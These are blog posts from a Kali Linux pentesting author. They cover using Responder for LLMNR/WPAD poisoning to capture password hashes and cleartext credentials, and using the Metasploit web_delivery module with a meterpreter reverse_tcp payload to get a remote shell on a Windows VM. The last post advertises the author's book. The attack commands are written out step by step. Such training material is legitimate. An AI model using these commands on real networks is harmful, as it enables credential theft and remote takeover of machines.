Quick Creds with Responder and Kali Linux

Tool website: https://github.com/lgandx/Responder
Tool Author: Laurent Gaffie

Responder is a powerful tool for quickly gaining credentials and possibly even remote system access. It is a LLMNR, NBT-NS & MDNS poisoner that is easy to use and very effective against vulnerable networks.

For the last few years one of the favorite tools in the pentester’s toolbox has been Responder. Responder works by imitating several services and offering them to the network. Once a Windows system is tricked into communicating to responder via one of these services or when an incorrect UNC share name is searched for on the LAN, responder will respond to the request, grab the username & password hash and log them. Responder has the ability to prompt users for credentials when certain network services are requested, resulting in clear text passwords. It can also perform pass-the-hash style attacks and provide remote shells.

In this article we will see how to use Responder in Kali Linux. In the next article we will dig a little deeper and look at some of the additional tools that are included with Responder.

Basic Usage

Responder is installed by default in Kali Linux. To view the Responder help screen and see what options are available, just use the “-h” switch.

Kali Linux Responder 1

From the help screen, the usage is:

responder -I eth0 -w -r -f

or:

responder -I eth0 -wrf

So, basically run the program, provide your network interface with the “-I” switch and then any other switches that you want. You can combine the switches together if you wish, as shown in the second usage example above. You can also use the verbose switch, “-v” to increase the text output of the program for more formation.

Analyze mode

A good place to start is “Analyze mode”. This mode runs responder but it does not respond to requests. It is specified with the “-A” switch. This can be handy to see what types of requests on the network responder could respond to, without actually doing it.

Kali Linux Responder 2

Any events will be shown on the screen, as below:

Kali Linux Responder 3

Analyze mode is also a good way to passively discover possible target systems.

Enough intro, let’s see Responder in action.

Poisoning with Responder

You can start Responder with the basic poisoner defaults by just typing:

responder -I eth0

Kali Linux Responder 4

Responder will poison responses and, if it can, capture any credentials. If a user tries to connect to a non-existing server share, Responder will answer the request and prompt them with a login prompt for access. If they enter their credentials, Responder will display and save the password hash:

Kali Linux Responder 5

We could then take the hash and attempt to crack it.

Basic Authentication & WPAD

WPAD is used in some corporate environments to automatically provide the Internet proxy for web browsers. Many Internet browsers have “enable system proxy” set by default in their internet settings, so they will seek out a WPAD server for a proxy address.

We can enable WPAD support in Responder to have it respond to these requests. If we use WPAD with the “Force Basic Authentication” option, Responder prompts users with a login screen when they try to surf the web and grabs the entered creds in clear text.

Command:

Responder -I eth0 -wbF

  • -w” Starts the WPAD Server
  • -b” Enables basic HTTP authentication
  • -F” Forces authentication for WPAD (a login prompt)

Kali Linux Responder 6

When a user goes to surf the web, the browser will reach out for proxy settings using WPAD. Responder will respond to the request and trigger a login prompt:

Kali Linux Responder 7

If the user enters their credentials, you get a copy of them in clear text. No cracking needed!

Kali Linux Responder 8

As you can see in the picture above, the user “Joe User” is using the password, “SuperSecurePassword”, which it isn’t.  🙂

Log Files

Log files for Responder are located in the /usr/share/responder/logs directory:

Kali Linux Responder 9

Along with the regular program log files, any credentials recovered will be stored in a file that includes the IP address of the target. You can view these files to see the hash or clear text creds:

Kali Linux Responder 10

If only the password hashes were recovered you can take the hash file and use it directly with your favorite cracking program:

john [responder password hash file]

Kali Linux Responder 11

Obviously, this is just an example as corporate networks should never allow “12345” as a password. But sadly enough, I have seen companies remove password complexity requirements so users could continue to use simple passwords.

Conclusion

In this article we saw how easy it is to use Responder to obtain both clear text and password hashes. How would you defend against this tool?

Basic Network Security Monitoring (NSM) will pick up and flag Basic plain text authentication attempts and WPAD auto-proxy requests. This is just one reason why NSM is so important.

You can disable the services that Responder is taking advantage of, but you must be sure that this will not affect your network functionality before you do, especially in environments with old systems still running.

For WPAD based attacks, provide an entry for WPAD in DNS, or don’t use the “system proxy” setting in the browser.

In the next article, we will look at some of the extra tools included with Responder.

 

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Easy Remote Shells with Web Delivery

This is a sneak peak at a section of the “Web Delivery” chapter in my new Ethical Hacking book, “Intermediate Security Testing with Kali Linux 2“. The Metasploit Web Delivery module is one of the easiest ways to quickly get a remote shell from a Linux, Mac or Windows system. In the full chapter I show how to use it against all three platforms. For the preview we will only cover Windows based targets.

As always, never try to access a network or system that you do not have express written permission to do so. Accessing systems that you don’t have permission to is illegal and you could end up in jail.

Web Delivery

In this section we will learn how to  using the Web Delivery exploit module. We will be using Metasploit and our Windows 7 VM as the target.

Let’s get started!

1. From a Kali terminal, type “msfconsole”:

Metasploit Web Delivery 1
2. Now enter:

  •  use exploit/multi/script/web_delivery
  •  set lhost [Kali IP Address]
  •  set lport 4444

3. Type, “show targets”:

Metasploit Web Delivery 2

Notice we have 3 options, Python, PHP and PSH (PowerShell). We will be attacking a Windows system, so we will use PowerShell.

4. Enter, “set target 2”
5. Set the payload, “set payload windows/meterpreter/reverse_tcp”
6. You can check that everything looks okay with “show options”:

Metasploit Web Delivery 3
7. Now type, “exploit”:

Metasploit Web Delivery 4

This starts a listener server that hosts our payload and then waits for an incoming connection. All we need to do is run the generated PowerShell command on our target system.

8. On the Windows 7 system, open a command prompt and paste in and execute the PowerShell command:

Metasploit Web Delivery 5
And after a few seconds you should see:

Metasploit Web Delivery 6

A meterpreter session open!

9. Now type, “sessions” to list the active sessions
10. Connect to it with “sessions -i 1”

Metasploit Web Delivery 7

We now have a full Meterpreter shell to the target:

Metasploit Web Delivery 8
Type “exit” to quit the active session and “exit” again to exit Metasploit.

I hope you enjoyed this chapter section preview. In the full chapter, I show how Web Delivery can be set to work against Linux and Mac systems also. In addition in the Msfvenom chapter you will also see how to make standalone executable shells that don’t require the target to open a command prompt on their system and manually run the code.

For a lot more ethical hacking training and hands on tutorials, check out “Intermediate Security Testing with Kali Linux 2” available on Amazon.com.

Intermediate Security Testing with Kali Linux 2 Released!

Security Series

Introducing my new book, “Intermediate Security Testing with Kali Linux 2“!

The second book in my Kali Linux series has been released. Picking up where “Basic Security Testing with Kali Linux” left off, this book delves deeper into using post exploitation techniques. It also covers Web Application testing using tools like Burp Suite. It then turns to testing smart devices like Android Phones and tablets. And even includes an entire section on using the Forensics tools in Kali to perform computer security testing.

Topics Include:

  • New Metasploit Features and Commands
  • Creating Shells with Msfvenom
  • Post Modules & Railgun
  • PowerShell for Post Exploitation
  • Web Application Pentesting
  • How to use Burp Suite
  • Security Testing Android Devices
  • Forensics Tools for Security Testing
  • Security Testing an Internet of Things (IoT) Device

And much, much more!

This book was originally written for the first version of Kali and was ready to be released last month. But as the new Kali 2.0 was released I held the book back and completely updated the entire book from beginning to end to cover the new OS and any tool changes. So in essence as it took about a year and a half to write this book, all the information in it has been updated as of this month!

If you are still using the original Kali, not a problem the tools work the same in both versions, though I do recommend updating to the new Kali 2.0 as it has a much better interface and menu system. If you are still using Backtrack, please update to Kali 2 you will thank yourself!

The second book dwarfs the first in both size and content. I took to heart all of the feedback from my first book. I had a lot of request to add more tool coverage, so I added two entire chapters covering included tools and their use. Multiple people asked me to cover the forensics tools, so I added an entire section devoted to security testing with Kali’s Forensics tools. Several people had told me that the first book was confusing in places, as I had an extra month to work on the book before publishing, hopefully this book will be easier to follow and understand than the first.

I even included a chapter on testing Internet of Things (IoT) devices. As IoT devices are becoming all the rage, security testing them is of high importance. We will have an eye opening look at an actually physical security device in use today that has some serious vulnerabilities.

As always, thank you so much for your support and encouragement. The overwhelming support I have received from individual users, technical trainers, corporations, universities, law enforcement agencies and members of the military has been both humbling and an absolute honor. Thank you!

Intermediate Security Testing with Kali 2 Linux